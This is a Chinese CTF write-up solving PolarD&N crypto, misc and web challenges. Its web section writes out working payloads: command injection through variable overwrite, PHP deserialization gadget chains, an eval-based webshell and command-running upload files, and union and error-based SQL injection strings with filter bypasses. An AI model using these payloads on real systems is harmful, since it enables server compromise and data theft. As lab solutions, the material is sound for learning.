【CRYPTO】周杰伦的贝斯

题目👊👢👧👉👎🐽👅👁👈🐧👉👆👈👣👟👐👊👱🐧🐰👇👈🐴🐴
其实就对应附件的名字100_64_32
base100(或者说是Emoji表情符号)->base64->base32
得到Jay Chou
flag:
flag{Jay Chou}

【CRYPTO】rsaaa

from Crypto.Util.number import *
e = 65537
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
c = 75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506
n = p*q
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))
# b' welcome to polar'

flag:
flag{welcome to polar}

【CRYPTO】阴阳怪气的杰斐逊

转轮密码解密
Word文档里面什么都没有,但是里面肯定藏东西了,binwalk一下,在document.xml里面发现了阴阳怪气编码

就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ?

同时发现密钥: 2,5,1,3,6,4,9,7,8,14,10,13,11,12
阴阳怪气解码得88421048040142242012210140881088421010882010884208842101
8421,云影密码得到,密文:WLDOFEQWARAVWA
网上抄过来的n手脚本

import re
table = [2, 5, 1, 3, 6, 4, 9, 7, 8, 14, 10, 13, 11, 12]
Ciphertext = 'WLDOFEQWARAVWA'
with open(r"zhuanlun.txt", 'r') as f:
data = f.read()
# 转轮机根据table重新排列
def wheel_decode(data, table):
resultList = []
pattern = re.compile('[A-Z]{26}')
result = pattern.findall(data)
for i in table:
resultList.append(result[i-1])
return resultList
resultList = wheel_decode(data, table)
# 根据密文重新排列
def rearrange(List, Ciphertext):
resultList = []
for i in range(0, 14):
resultList.append(List[i][List[i].find(
Ciphertext[i]):]+List[i][:List[i].find(Ciphertext[i])])
return resultList
resultList = rearrange(resultList, Ciphertext)
# 选取每一列,列出结果
def rearrange2(List):
resultList = []
s = ''
for i in range(0, 26):
for j in List:
s += j[i]

resultList.append(s)
s = ''
return resultList
resultList = rearrange2(resultList)
for i in resultList:
print(i)

发现可疑字符串,FIAGISPQEOUPCS
问了一下客服,得md5加密套上flag。。。(题目描述也没有说,但polar真的很喜欢flag(md5(xxx)))
flag{fea3bc74edc5ab76ad9f09ea4f5ac233}

【CRYPTO】歌词最后一句

附件的第一张图片是专辑《十一月的萧邦》的方面
跳舞的小人我解出来是WYDOSNOWSB,感觉没什么用啊
一首歌一首歌的试,试出的是第六首《枫》我要的只是你在我身边
哈哈哈原谅我,挺喜欢周董的歌的,但听的是真不多
md5加密一下
flag: flag{776e26e39d01c914e8faa6796bf7e9b3}
补充:看到某个不认识的佬的wp,发现我的小人解错了,O应该是Z,它这个小人背景有白有灰,给看漏眼了(逃)

【CRYPTO】离家出走的猫猫

喵语

~呜喵呜呜~呜喵啊喵啊啊呜喵呜呜啊呜啊~呜呜~喵呜~~喵呜~啊呜啊呜喵呜呜喵~喵~~喵啊喵呜喵呜啊呜啊~呜啊~啊喵~~啊~~喵~啊啊~呜啊啊喵喵啊啊~啊啊啊~呜啊呜呜~呜啊啊~啊喵~呜喵~啊~喵啊呜呜喵~~喵啊~啊~呜~~喵~~~~呜~喵啊呜啊~~~~呜~啊喵呜呜啊啊喵呜喵~呜啊喵呜喵啊呜喵~~啊~~~喵啊啊呜呜呜喵喵~~呜呜呜呜啊喵啊啊啊~喵呜~呜啊喵~~呜~喵喵呜~喵啊~~喵~啊啊~呜喵~~啊~呜~啊呜呜喵啊喵~呜~喵呜~啊啊啊~喵喵啊~~啊~~呜喵~~呜呜~呜啊呜啊呜呜~喵啊喵喵呜呜啊啊~啊~~~呜~啊喵呜呜喵~~喵啊喵~啊~啊~~呜呜呜~喵呜~喵啊呜~喵呜喵喵喵啊喵喵呜喵~~呜喵~呜~喵~喵啊喵啊啊喵喵喵喵喵啊~呜啊~~喵~啊啊~呜呜呜啊呜喵喵啊啊~~啊啊~呜喵~呜~喵啊呜啊~喵啊喵~~~~啊呜喵~~喵啊喵呜啊~~啊~啊呜啊~啊~~啊~啊啊~~~呜~啊喵呜呜啊啊呜啊啊呜喵啊啊喵喵喵呜呜啊~呜啊喵喵~喵啊呜呜呜喵喵~~呜啊喵呜呜呜喵啊啊啊呜喵~呜~呜喵~~~呜~~啊呜啊~~喵~啊啊~呜啊呜喵~喵啊啊~呜喵~~喵啊~~呜呜呜呜喵啊喵呜呜呜~啊~呜~呜啊呜~喵~喵啊啊呜啊喵啊啊喵呜喵呜~~喵~~~~~~呜~啊喵呜啊

找个网站https://roar.iiilab.com/
得到小小年内则伏勤,月明先自下高台。未似是非唇舌危,五弦一一为君调。一百二十个蜣螂,唯祝台星与福星。梁殿得非萧帝瑞,控鹤岭高星半隔。
到这就不会了,等wp喽
好家伙,官方视频说的是藏头诗递增,真脑洞,不过为什么不去misc
重新排版

小小年内则伏勤,
月明先自下高台。
未似是非唇舌危,
五弦一一为君调。
一百二十个蜣螂,
唯祝台星与福星。
梁殿得非萧帝瑞,
控鹤岭高星半隔。

明文:小明是一个福瑞控
知乎上关于福瑞控的介绍是,福瑞的原英文单词Furry,这个词汇的大概意义是多毛的,覆盖毛皮的,所以福瑞控说的是喜欢动物的人(对应题目猫猫),但在互联网下,成了梗,喜欢拟人化动物的人。学到了,哈哈哈
MD5一下,套flag
flag{66f5c8a2577ffbcb6086e29df7b1bd70}

【CRYPTO】KOBE的祝福短信

给了我们一张图片需要找对照表,和一个有密码的压缩包
我以为跟牢大关系不会很大吧,毕竟CTF这边我好像没见过什么密码跟牢大扯的上关系的。
好,一看,官方视频,KOBE CODE,在知乎那边有一个对照表,年份居然是20年2.20,属于自制密码吧,这也能被官方看到拿来出题了
https://www.zhihu.com/question/53100727
解出来是NUMBERONE,得到九键密码936382_232162_3163_4381 ,手机切换九键,第9格第3个y,依次类推,得到you_can_do_it
好好好,收到牢大的祝福了,泪目flag{you_can_do_it}

【WEB】覆盖

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

parse_str变量覆盖,这题跟去年冬季的Web-干正则基本一样
?id=a[0]=www.polarctf.com&cmd=127.0.0.1|cat flag.php
ls一下,发现flag.php
然后F12查看页面源代码即可

【WEB】PHP反序列化初试

<?php
class Easy
{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil
{
public $evil = 'ls';
private $env;
public function __toString()
{
$this->env = shell_exec($this->evil);
return $this->env;
}
}
$a = new Easy();
$a->name = new Evil();
echo urlencode(serialize($a));

shell_exec函数相当于我们熟悉的system函数
发现f1@g.php index.php
直接cat f1@g.php
F12查看页面源代码即可

【WEB】机器人

/robots.txt得到前半截flagflag{4749ea1ea481a5d
Disallow: /27f5e15b6af3223f1176293cd015771d
这个不可访问,说明这个路径下还藏了什么东西,看看flag.php给不给访问,访问/27f5e15b6af3223f1176293cd015771d/flag.php
后半截:56685442c8516b61c}
flag: flag{4749ea1ea481a5d56685442c8516b61c}

【WEB】PHP_Deserialization

<?php

/*

PolarD&N CTF

*/

class Polar
{
public $night;
public $night_arg;

public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}

}

class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}

class Day
{
public $filename="/flag";

public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}

if (isset($_POST['polar'])) {
unserialize(base64_decode($_POST['polar']));
} else {
highlight_file(__FILE__);
}

可以看到filename进行了替换,我们这里用双写绕过,$filename="flaflagg"
然后需要触发Day类里面的__toString()方法,Polar类和Night类里面都有echo可以触发,这里我们利用Night类的,因为我们发现了Polar类里有个不知名函数hacker(),可以利用它来触发Night类里面的__call()方法,然后就可以触发__toString()了
Polar::__wakeup()->Night::__call()->Day::__toString()

$a = new Polar();
$a->night = new Night();
$a->night_arg = new Day();
echo base64_encode(serialize($a));
# Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MTp7czo0OiJuYW1lIjtOO31zOjk6Im5pZ2h0X2FyZyI7TzozOiJEYXkiOjE6e3M6ODoiZmlsZW5hbWUiO3M6OToiL2ZsYWZsYWdnIjt9fQ==

F12查看页面源代码即可

【WEB】uploader

好家伙,我没做过这种题emmmm
看了wp,需要自己写一个本地表单上传功能,新建一个.html文件

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<!-- action的链接,是当前题目的上传文件的链接-->

<form action="http://ip:port/" method="post" enctype="multipart/form-data">

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

双击该文件,然后在本地上传PHP文件,<?php system('cat /flag');?>
访问路径是,$sandBox."/".$_FILES["file"]["name"],即url/$sandBox/filename,$sandBox在本地上传PHP文件后可以看到,因为它被输出了
最后F12查看页面源代码即可

【WEB】search

一眼SQL注入
尝试union注入,1' union select 1,2,3#,多试几个参数都没反应,可能存在过滤,尝试绕过1'/**/Union/**/Select/**/1,2,3#,报错信息Error executing query: The used SELECT statements have a different number of columns,有用
1'/**/Union/**/Select/**/1,2,3,4,5#,字段数为5的时候有回显
爆库名,1'/**/Union/**/Select/**/1,database(),3,4,5#,在第二列,库名为CTF
爆表名,1'/**/Union/**/Select/**/1,Group_concat(Table_name),3,4,5/**/From/**/Information_schema.tables/**/Where/**/Table_schema='CTF'#,得到两个表Flag,Students
爆Flag表的字段名,1'/**/Union/**/Select/**/1,Group_concat(Column_name),3,4,5/**/From/**/Information_schema.columns/**/Where/**/Table_name='Flag'#,得到Flag
获取Flag字段内容,1'/**/Union/**/Select/**/1,Group_concat(Flag),3,4,5/**/From/**/Flag#

第二种,报错注入
1'/**/And/**/Extractvalue(1,Concat(0x7e,User(),0x7e,Database()))#,爆出库名XPATH syntax error: '~root@localhost~CTF'
1'/**/And/**/Extractvalue(1,Concat(0x7e,(Select/**/Group_concat(Table_name)/**/From/**/Information_schema.tables/**/Where/**/Table_schema='CTF')))#,爆出表名XPATH syntax error: '~Flag,Students'
爆字段名,1'/**/And/**/Extractvalue(1,Concat(0x7e,(Select/**/Group_concat(Column_name)/**/From/**/Information_schema.columns/**/Where/**/Table_schema='CTF'/**/And/**/Table_name='Flag')))#,得到XPATH syntax error: '~Flag'
获取值,1'/**/And/**/Extractvalue(1,Concat(0x7e,(Select/**/Group_concat(Flag)/**/From/**/CTF.Flag)))#,得到XPATH syntax error: '~flag{Polar_CTF_426891370wxbglbn',可见flag不完整
再逆一下,1'/**/And/**/Extractvalue(1,Concat(0x7e,(Select/**/Reverse(Group_concat(Flag))/**/From/**/CTF.Flag)))#,得到完整的flag

xpath报错注入有extractvalue和updatexml
extractvalue参考了Jay 17这位大佬的wp

query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/group_cOncat(Flag)/**/frOm/**/CTF.Flag),0x7e),3)#
query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/reverse(group_cOncat(Flag))/**/frOm/**/CTF.Flag),0x7e),3)#

感觉二者差不多啊,有点细微的差别
有点神奇的是,我跟着网上的SQL报错注入,前一个跟着思路走,可以做出来
后面一个失败了,然后发现这道题,如果使用updatexml的话,updatexml的字母至少有两个大写字母,emmm为什么,好神奇啊

1'/**/And/**/UpdatexmL(1,Concat(0x7e,User(),0x7e,Database(),0x7e,@@datadir),3)#
1'/**/And/**/UpdatexmL(1,Concat(0x7e,(Select/**/Group_concat(Table_name)/**/From/**/Information_schema.tables/**/Where/**/Table_schema='CTF')),3)#
1'/**/And/**/UpdatexmL(1,Concat(0x7e,(Select/**/Group_concat(Column_name)/**/From/**/Information_schema.columns/**/Where/**/Table_schema='CTF'/**/And/**/Table_name='Flag')),3)#
1'/**/And/**/UpdatexmL(1,Concat(0x7e,(Select/**/Group_concat(Flag)/**/From/**/CTF.Flag)),3)#
1'/**/And/**/UpdatexmL(1,Concat(0x7e,(Select/**/Reverse(Group_concat(Flag))/**/From/**/CTF.Flag)),3)#

【WEB】file

dirsearch一下发现,upload.php和uploaded,一个是文件上传界面,一个是上传的文件保存的地方
进行文件上传,此处没有后缀名检查,直接上传PHP文件,但是重发包,修改Content-Type: image/jpeg,没有后缀检查但一般得检查文件内容的类型,改成这样就OK了
php文件内容为:<?php system("cat /flag");?>
去uploaded找到php文件,点击即可获得flag
以上操作可以不用bp,在火狐浏览器上面也可以操作,算是比较方便
同样,也可以选择上传一句话木马<?php eval($_POST[a]);?>,操作同上,然后拿蚁剑进行连接,最后找flag的时候,直接去根目录下找就OK了

【WEB】PlayGame

 <?php
/*
PolarD&N CTF
*/
class User{
public $name;
public $age;
public $sex;

public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
if(isset($_GET['polar_flag.flag'])){
unserialize($_GET['polar_flag.flag']);
}else{
highlight_file(__FILE__);
}

我们需要调用openGame(),进行文件的读取,那么我们就要触发PlayGame类的__toString()方法,只有PlayGame类的__destruct()方法可以做到了
逻辑还算简单吧,__destruct()->__toString()->openGame()

$a = new PlayGame();
$a->user = new User();
$a->user->name = new PlayGame();
$a->user->name->gameFile = "/flag";
echo serialize($a);
# O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:6:"./game";}

最后注意传参,有效变量名不允许出现下划线和.,我们可以使用[进行处理,即polar[flag.flag,原理好像是PHP将[识别成_,然后后面的错误就直接无视了,即成为了一个有效变量名
找到一个解释当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
题目的PHP版本为7.0.9,传参后F12即可找到flag

【WEB】csdn

进入题目,页面没有显示东西,习惯性F12,<!-- 偷偷告诉你,flag在flag目录下的flag.txt中 -->,url:index.php?xxs=https://blog.csdn.net/,感觉考察的是文件包含
先试一下普通的文件包含

?xxs=php://filter/read=convert.base64-encode/resource=/flag.txt
失败
?xxs=file:///flag.txt
成功拿到flag

PHP伪协议的使用
file://协议:访问本地文件系统
(flag目录一般在本地目录下)

【WEB】phar

 <?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
if (myWaf($_GET['file'])) {
include($_GET['file']);
} else {
unserialize($_GET['data']);
}
}

有waf,先查看一下funs.php的内容,使用PHP伪协议进行读取
?file=php://filter/read/convert.base64-encode/resource=funs.php
base64解码得到:

<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}

class A
{
private $a;

public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}

class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}

看见了变量覆盖var_dump($$f),让$f='flag'即可
A::__destruct->B::__toString->C::__get()

$a = new A();
$a->a = new B();
$a->a->b['kfc'] = new C();
$a->a->b['kfc']->c['vm50'] = 'flag';
echo serialize($a);

此处将private属性全改为public了,或者也可以不修改,最后输出url编码即可(再或者手动补%00类名%00)
需要让waf等于False,故file要等于f1@g,payload:
/?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
又可以像这样,套别的师傅的一个脚本

<?php
class A
{
private $a;
public function __construct()
{
$this->a = new B();
}
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}

class B
{
private $b = array();
public function __construct()
{
$this->b = array("kfc" => new C());
}
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __construct()
{
$this->c = array('vm50'=>"flag");
}
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}

$a = new A();
echo urlencode(serialize($a));

最后吐槽一下,貌似上次古剑山也出了这样的题,然而古剑山是一场原题杯,还好我没打,但也有所耳闻。。。。

【WEB】PolarOA

一个登陆系统,老样子,先抓个包看看,发现cookie里面有东西
响应包里可以看到,rememberMe=deleteMe
发现是shiro反序列化,这算是1.2.4版本的漏洞了
有关介绍:

Apache Shiro是常见的Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,就会导致shiro的反序列化漏洞。
返回包存在set-Cookie:rememberMe=deleteMe或URL中有shiro字样。
有时服务器不会主动返回rememberMe=deleteMe,直接发包即可。
Shiro的功能用到了AES加密,但是密码是硬编码在代码里的,所以很容易拿到密钥,因为AES是对称加密,即加密密钥同样是解密密钥,所以就可以通过恶意构建Cookie获取权限执行命令。

新版本到Shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥。但如果使用了别人的开源框架,他们在代码里配置shiro的密钥,而使用者没有修改shiro的密钥,关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,然后去轮流尝试。

漏洞分析:

Apache Shiro默认使用CookieRememberMeManager。其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。

【MISC】加点儿什么

binwalk分离图片得到一个cpp文件

#include<iostream>
using namespace std;
#define MAX 100
//提示:密文输入372658619JI0707I8G64HF2400F96991
//提示[1]:代码不是完全准确,需要你加点东西(非常简单)
char ciphertext[MAX]; //密文
char plaintext[MAX]; //明文
int K = 4;
//加密
void Encryption()
{
cout << "请输入明文:" << endl;
gets_s(plaintext);
cout << "密文为:" << endl;
for (int i = 0; plaintext[i] != '\0'; i++)
{
if (plaintext[i] >= 'A' && plaintext[i] <= 'Z')
{
ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A';
}
else if (plaintext[i] >= 'a' && plaintext[i] <= 'z')
{
ciphertext[i] = (plaintext[i] - 'a' + K) % 26 + 'a';
}
else
ciphertext[i] = plaintext[i];
cout << plaintext[i];
}
printf("\n");
}

//解密
void Decryption()
{
cout << "请输入密文:" << endl;
gets_s(ciphertext);
cout << "明文为:" << endl;
for (int i = 0; ciphertext[i] != '\0'; i++)
{
if (ciphertext[i] >= 'A' && ciphertext[i] <= 'Z')
{
plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26) % 26 + 'A';
}
else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z')
{
plaintext[i] = ((ciphertext[i] - 'a' - K) % 26 + 26) % 26 + 'a';
}
else
plaintext[i] = ciphertext[i];
cout << plaintext[i];

}
printf("\n");
}

int main()
{
int n, flag = 1;
while (flag)
{
cout << "请选择(1:加密,2:解密,3:退出):" << endl;
cin >> n;
getchar();
switch (n)
{
case 1:
Encryption();
break;
case 2:
Decryption();
break;
case 3:exit(0);
}
}
}

增加cout << plaintext[i];即可
拿到明文套上flag
flag: flag{372658619FE0707E8C64DB2400B96991}

【MISC】发售花海

hint.txt❂❅❂✼❁❄✼✻❂✾❂❃❂❊❁❀=
找个网站
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo
得到JAY CHOU,作为加密图片的密码
图片的属性中发现了steghide
